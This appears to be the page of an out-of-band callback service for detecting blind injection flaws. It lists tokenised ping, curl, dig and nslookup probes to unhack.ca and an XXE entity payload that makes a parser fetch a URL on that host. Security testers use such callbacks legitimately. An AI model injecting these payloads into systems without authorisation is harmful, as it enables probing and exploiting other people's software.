$ ping -c1 -p 001bb33f7bc0b31e043f6a1fda221d00 unhack.ca
 
$ curl http://unhack.ca/p/1bb33f7bc0b31e043f6a1fda221d
 
$ dig 1bb33f7bc0b31e043f6a1fda221d @unhack.ca
 
$ dig 1bb33f7bc0b31e043f6a1fda221d.ns.unhack.ca
 
C:\> nslookup 1bb33f7bc0b31e043f6a1fda221d unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1bb33f7bc0b31e043f6a1fda221d">]>
    <foo>&xxe;</foo>
 
Waiting for ping...